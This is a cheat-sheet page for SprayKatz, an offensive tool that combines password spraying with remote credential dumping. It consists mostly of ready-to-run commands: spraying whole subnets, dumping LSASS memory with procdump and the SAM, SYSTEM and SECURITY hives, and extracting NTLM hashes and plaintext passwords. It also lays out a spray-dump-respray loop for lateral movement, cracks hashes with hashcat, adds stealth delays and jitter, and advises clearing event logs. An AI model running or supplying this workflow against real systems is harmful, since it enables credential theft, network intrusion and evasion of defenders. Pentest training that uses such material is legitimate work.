Skip to content

SprayKatz

SprayKatz is a specialized Python tool that combines credential spraying with credential extraction capabilities. It integrates password spray attacks with the ability to remotely dump credentials using procdump (for memory dumps) and pypykatz (for credential extraction), providing comprehensive credential-based attack chains during authorized penetration testing engagements.

The tool is particularly effective in post-compromise scenarios where valid credentials enable further credential discovery and lateral movement across the network.

  • Python 3.7+
  • Network access to target systems
  • procdump.exe (Windows Sysinternals tool)
  • pypykatz installed and functional
  • Valid credentials for authenticated attacks
  • Administrative or SYSTEM privileges for credential dumping
# Clone repository
git clone https://github.com/aas-n/SprayKatz.git
cd SprayKatz

# Create virtual environment
python3 -m venv venv
source venv/bin/activate

# Install dependencies
pip install -r requirements.txt

# Install pypykatz
pip install pypykatz

# Download procdump (requires Wine for Linux/macOS)
wget https://download.sysinternals.com/files/Procdump.zip
unzip Procdump.zip

# Test installation
python3 spraykatz.py --help
# Clone repository
git clone https://github.com/aas-n/SprayKatz.git
cd SprayKatz

# Create virtual environment
python -m venv venv
.\venv\Scripts\Activate.ps1

# Install dependencies
pip install -r requirements.txt

# Install pypykatz
pip install pypykatz

# Download and extract procdump
$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "procdump.zip"
Expand-Archive procdump.zip -DestinationPath .

# Verify installation
python spraykatz.py --help
# Build Docker image
docker build -t spraykatz .

# Run container
docker run -it spraykatz --help

# Volume mount for results
docker run -v /path/results:/results spraykatz -h
# Basic spray against target hosts
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24

# Single target spray
python3 spraykatz.py -u admin -p password123 -t 192.168.1.100

# Spray with credential file
python3 spraykatz.py -c credentials.txt -t 192.168.1.0/24
# Dump credentials from target
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 --dump-creds

# Dump with procdump
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-creds \
  --procdump-path ./procdump.exe

# Extract SAM database
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 --dump-sam
CommandDescription
spraykatz.py -u USERS -p PASS -t TARGETSpray password against targets
spraykatz.py -c CREDENTIALS -t TARGETUse credential pairs
spraykatz.py -t TARGET -u USER -p PASS --dump-credsSpray and dump credentials
spraykatz.py -t TARGET --dump-sam --registryDump SAM hashes
spraykatz.py -t TARGET --dump-lsassDump LSASS process memory
spraykatz.py -t TARGET -u USER -p PASS --spray-and-dumpCombined attack
spraykatz.py -t TARGET --procdump-path PATHSpecify procdump location
spraykatz.py -t TARGETS --delay 5Add delay between attempts
spraykatz.py -t TARGET --output results.txtSave results to file
spraykatz.py -t TARGET --verboseDetailed output
# Spray multiple targets from CIDR
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --threads 10 \
  --delay 2

# Spray specific hosts
python3 spraykatz.py -u users.txt -p password123 \
  -t 192.168.1.100 192.168.1.101 192.168.1.102

# Spray from host list
python3 spraykatz.py -u users.txt -p password123 \
  -t hosts.txt \
  --threads 20
# Use credential pairs from file
python3 spraykatz.py -c credentials.txt -t 192.168.1.0/24

# CSV format credentials
python3 spraykatz.py -c users_passwords.csv \
  -t 192.168.1.0/24 \
  --csv-delimiter ","

# Multiple passwords per user
python3 spraykatz.py -u users.txt -p passwords.txt \
  -t 192.168.1.0/24 \
  --spray-mode all-passwords
# Dump credentials from compromised host
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-creds \
  --extract-ntlm \
  --extract-plaintext

# Extract cached credentials
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-cached-logons

# Export credentials for offline analysis
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-creds \
  --export-format mimikatz
# Dump LSASS process memory
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-lsass \
  --procdump-path ./procdump.exe

# Use alternative dumping method
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-lsass \
  --dumper rundll32

# Extract credentials from dump
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-lsass \
  --extract-dpapi
# Dump specific process
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-process lsass.exe

# Dump multiple processes
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-processes "lsass.exe,explorer.exe,outlook.exe"

# Parse dumped process
python3 -c "from pypykatz.lsass import parse_lsass_dump; print(parse_lsass_dump('dump.bin'))"
# Dump SAM registry hive
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-sam

# Dump SYSTEM registry hive
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-system

# Dump SECURITY hive
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-security
# Create configuration
cat > spraykatz.conf << 'EOF'
[spray]
delay = 2
threads = 10
timeout = 5
verbose = true

[dumping]
enabled = true
method = procdump
extract_plaintext = true
extract_ntlm = true
extract_dpapi = true

[output]
format = json
file = spraykatz_results.json
include_hashes = true

[procdump]
path = ./procdump.exe
arguments = -accepteula

[pypykatz]
extract_all = true
handle_errors = true
EOF

# Use configuration
python3 spraykatz.py -c config.conf
# Set environment variables
export SPRAYKATZ_THREADS=10
export SPRAYKATZ_DELAY=2
export SPRAYKATZ_TIMEOUT=5
export PROCDUMP_PATH=./procdump.exe
export PYPYKATZ_EXTRACT_ALL=true

# Run with variables
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24
# JSON output (recommended for parsing)
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --output results.json \
  --output-format json

# CSV output
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --output results.csv \
  --output-format csv

# Text output
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --output results.txt
# Extract successful spray attempts
cat results.json | jq '.successful_sprays[]'

# Get credential pairs
cat results.json | jq -r '.credentials[] | "\(.username):\(.password)"'

# List targets where credentials work
cat results.json | jq -r '.successful_sprays[].target_ip' | sort -u

# Count successes by user
cat results.json | jq -r '.successful_sprays[].username' | sort | uniq -c
# Extract NTLM hashes
cat results.json | jq -r '.ntlm_hashes[]' > hashes.txt

# Extract plaintext credentials
cat results.json | jq -r '.plaintext_credentials[]'

# Identify weak credentials
python3 << 'EOF'
import json
with open('results.json') as f:
    data = json.load(f)
    for cred in data['credentials']:
        if len(cred['password']) < 8:
            print(f"Weak password: {cred['username']}:{cred['password']}")
EOF
# Single command: spray and dump
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --spray-and-dump \
  --dump-lsass \
  --dump-sam \
  --dump-registry \
  --threads 5 \
  --delay 3 \
  --output comprehensive_results.json
# Phase 1: Spray against targets
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --output phase1_spray.json \
  --threads 20

# Phase 2: Identify successful targets
cat phase1_spray.json | jq -r '.successful_sprays[].target_ip' | sort -u > successful_targets.txt

# Phase 3: Dump credentials from successful targets
while read target; do
  python3 spraykatz.py -t "$target" -u users.txt -p password123 \
    --dump-creds \
    --output "dump_${target}.json"
done < successful_targets.txt

# Phase 4: Merge results
cat dump_*.json | jq -s 'add' > all_dumped_credentials.json
# Dump and extract credentials for lateral movement
python3 spraykatz.py -t 192.168.1.100 -u compromised_user -p found_password \
  --dump-lsass \
  --extract-plaintext \
  --extract-ntlm \
  --output lateral_credentials.json

# Parse for reusable credentials
cat lateral_credentials.json | jq '.credentials[] | select(.domain == "EXAMPLE.COM")' > domain_credentials.json

# Spray additional targets with new credentials
python3 spraykatz.py -c domain_credentials.json -t 192.168.1.0/24
# Export hashes for cracking
cat results.json | jq -r '.ntlm_hashes[]' > hashes.txt

# Crack with Hashcat
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -o cracked.txt

# Process results
cat cracked.txt | awk -F: '{print $1}' > cracked_hashes.txt
# Export credentials for Metasploit
python3 << 'EOF'
import json
with open('results.json') as f:
    data = json.load(f)
    for cred in data['successful_sprays']:
        print(f"set USER {cred['username']}")
        print(f"set PASS {cred['password']}")
        print(f"set RHOSTS {cred['target_ip']}")
EOF

# Use in Metasploit
msfconsole << 'EOF'
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.1.100
set SMBUser admin
set SMBPass password123
run
EOF
# Dump credentials and check privilege escalation paths
python3 spraykatz.py -t 192.168.1.0/24 -u users.txt -p password123 \
  --dump-creds \
  --bloodhound-export

# Import into BloodHound for privilege path analysis
# Stealthy spray with delays
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --delay 10 \
  --jitter 5 \
  --randomize-order

# Slow and patient approach
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --slow-mode \
  --threads 1 \
  --delay 30

# Test without actual attacks
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --dry-run
# Detailed logging
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --log-file spraykatz.log \
  --log-level debug

# Separate logs by phase
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --dump-creds \
  --log-spray spray.log \
  --log-dump dump.log
# Procdump not found
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --procdump-path /full/path/to/procdump.exe

# LSASS dump failed
python3 spraykatz.py -t 192.168.1.100 -u admin -p password123 \
  --dump-lsass \
  --dumper rundll32 \
  --fallback-method true

# Pypykatz extraction issues
pip install --upgrade pypykatz
python3 spraykatz.py -t 192.168.1.100 --dump-lsass --debug
# Enable debug mode
python3 spraykatz.py -u users.txt -p password123 -t 192.168.1.0/24 \
  --debug \
  --verbose

# Test single target
python3 spraykatz.py -u admin -p password123 -t 192.168.1.100 \
  --verbose

# Check procdump functionality
./procdump.exe -h
  1. Authorization: Obtain written approval before any spray or dumping activities
  2. Coordination: Work with Blue Team to ensure detection and monitoring
  3. Stealth: Implement appropriate delays and randomization
  4. Documentation: Record all attempts, successes, and extracted credentials
  5. Clean Up: Remove procdump artifacts and clear event logs if applicable
  6. Analysis: Correlate findings with other assessment tools
  7. Reporting: Include credential findings with risk ratings
  8. Time Windows: Conduct attacks during pre-coordinated safe periods
# Spray common passwords against exposed services
python3 spraykatz.py -u discovered_users.txt \
  -p "Password123!,Welcome2024,Company123" \
  -t 192.168.1.0/24 \
  --spray-mode all-passwords \
  --output initial_access.json
# After gaining initial access
python3 spraykatz.py -t compromised_host -u local_admin -p found_password \
  --dump-lsass \
  --dump-sam \
  --dump-registry \
  --output post_comp_creds.json

SprayKatz combines spray attack capabilities with credential extraction for comprehensive credential assessment. Proper authorization, stealth considerations, and documentation are critical for effective and ethical use during authorized security assessments.